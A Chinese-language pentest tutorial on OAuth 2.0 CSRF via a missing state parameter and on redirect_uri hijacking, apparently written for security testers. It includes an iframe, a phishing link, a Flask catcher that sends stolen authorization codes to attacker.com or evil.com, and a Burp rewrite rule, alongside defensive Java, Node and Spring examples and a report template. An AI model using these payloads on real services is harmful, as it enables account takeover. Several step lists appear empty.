OAuth2.0授权码模式被广泛用于第三方应用接入的场景,比如用微信登录某网站、用GitHub账号登录开发平台等。这种模式看似安全,但在实际落地时,开发者常常会忽略几个关键的安全细节。我在渗透测试中遇到过大量因实现不当导致的账户劫持案例,其中最常见的就是CSRF和重定向劫持问题。
授权码流程的标准步骤是这样的:用户点击"使用XX账号登录"后,会被跳转到OAuth服务商的认证页面。认证通过后,服务商通过回调地址(redirect_uri)将授权码(code)传回客户端应用。最后客户端用这个code去交换访问令牌(access_token)。问题就出在这个流程的两个环节:
这两个漏洞利用起来都不需要太高深的技术,用Burpsuite就能轻松复现。下面我会用真实案例带你一步步拆解攻击过程。
state参数的本意是防止CSRF攻击,它的作用类似于表单中的CSRF Token。正常流程中,客户端生成随机state值发送给OAuth服务端,服务端原样返回这个值,客户端再验证是否匹配。但如果开发者没实现这个机制,就会出大问题。
去年我给一个社交平台做安全测试时,发现他们的OAuth绑定功能就存在这个问题。当用户点击"绑定微信账号"时,请求是这样的:
http复制GET /oauth/authorize?response_type=code
&client_id=123
&redirect_uri=https://client.com/callback
&scope=userinfo HTTP/1.1
注意这个请求里完全没有state参数。这意味着攻击者可以构造一个恶意链接,诱导已登录用户点击。用户点击后,他的账号就会被绑定到攻击者控制的客户端应用上。
我们用Burp自带的靶场来演示(PortSwigger提供的OAuth实验室)。具体步骤如下:
html复制<iframe src="https://oauth-server.com/auth?
response_type=code&
client_id=attacker_client&
redirect_uri=https://attacker.com/callback">
</iframe>
这个漏洞的关键在于:OAuth服务端没有验证请求的发起者身份,只要用户是已登录状态,任何客户端发起的绑定请求都会被接受。
正确的实现应该满足三个要求:
Java代码示例:
java复制String state = UUID.randomUUID().toString();
session.setAttribute("oauth_state", state);
String authUrl = "https://oauth-server.com/auth?" +
"response_type=code&" +
"client_id=your_client&" +
"state=" + state;
redirect_uri参数未经验证是另一个高危漏洞。正常情况下,OAuth服务商应该只允许预先注册的回调地址。但有些服务商为了开发方便,会跳过这个验证。
我曾遇到过一个实际案例:某知名网站的OAuth实现允许任意redirect_uri。攻击者可以构造这样的链接:
http复制https://oauth.example.com/auth?
response_type=code&
client_id=123&
redirect_uri=https://attacker.com
当用户点击后,授权码会被直接发送到攻击者的服务器。拿到这个code后,攻击者就能用它在客户端应用上登录受害者账号。
用Burpsuite复现的完整流程:
html复制<a href="https://oauth-server.com/auth?
response_type=code&
client_id=target_client&
redirect_uri=https://evil.com">
点击查看年度报表
</a>
python复制from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def steal_code():
print(f"劫持到授权码: {request.args.get('code')}")
return "页面加载失败"
正确的防护应该做到:
Node.js验证示例:
javascript复制const validUris = [
'https://client.com/callback',
'com.example.app://oauth'
];
function validateRedirectUri(input) {
return validUris.some(uri => {
const parsedInput = new URL(input);
const parsedUri = new URL(uri);
return parsedInput.origin === parsedUri.origin;
});
}
在实际攻击中,我们经常会把多个漏洞组合利用。比如先通过CSRF漏洞让受害者绑定我们的客户端,再利用重定向漏洞窃取授权码。去年某个漏洞赏金项目中,我就通过这种组合拳拿到了最高级别的奖励。
具体步骤是:
对于这类漏洞,我们可以用Burpsuite的Scanner模块进行自动化检测:
扫描完成后,查看报告中的Security Issues部分,重点关注OAuth相关的漏洞提示。
对于企业开发者,我建议采取以下防护措施:
Spring Security配置示例:
java复制@Bean
public ClientRegistrationRepository clients() {
return new InMemoryClientRegistrationRepository(
ClientRegistration.withRegistrationId("oauth-provider")
.clientId("client-id")
.redirectUri("{baseUrl}/login/oauth2/code/{registrationId}")
.authorizationGrantType(AuthorizationGrantType.AUTHORIZATION_CODE)
.scope("userinfo")
.authorizationUri("https://oauth-server.com/auth")
.tokenUri("https://oauth-server.com/token")
.clientName("OAuth Provider")
.build()
);
}
在测试OAuth实现时,我通常会先检查三个关键点:
用Burpsuite的Match and Replace功能可以快速测试这些场景。在Proxy→Options中找到Match and Replace,添加如下规则:
code复制Replace "redirect_uri=https://client.com" with "redirect_uri=https://evil.com"
这样所有经过Burp的OAuth请求都会被自动修改,方便我们观察服务端反应。
当发现redirect_uri漏洞时,我们需要搭建临时服务器来捕获授权码。这里分享几个实用方法:
使用Burp Collaborator:
本地快速搭建接收服务:
bash复制python3 -m http.server 80
然后修改redirect_uri为你的公网IP
使用Webhook.site等在线服务
在向客户或漏洞赏金平台报告OAuth漏洞时,需要包含以下关键信息:
一个典型的漏洞描述模板:
code复制标题:OAuth重定向劫持导致账户接管
风险等级:高危
影响:攻击者可完全控制受害者账户
复现步骤:
1. 访问https://example.com/login
2. 点击"使用社交账号登录"
3. 拦截请求并修改redirect_uri
4. 诱导用户点击恶意链接
5. 获取发送到攻击者服务器的授权码
修复建议:
1. 服务端验证redirect_uri是否在白名单
2. 实现完整的state参数校验机制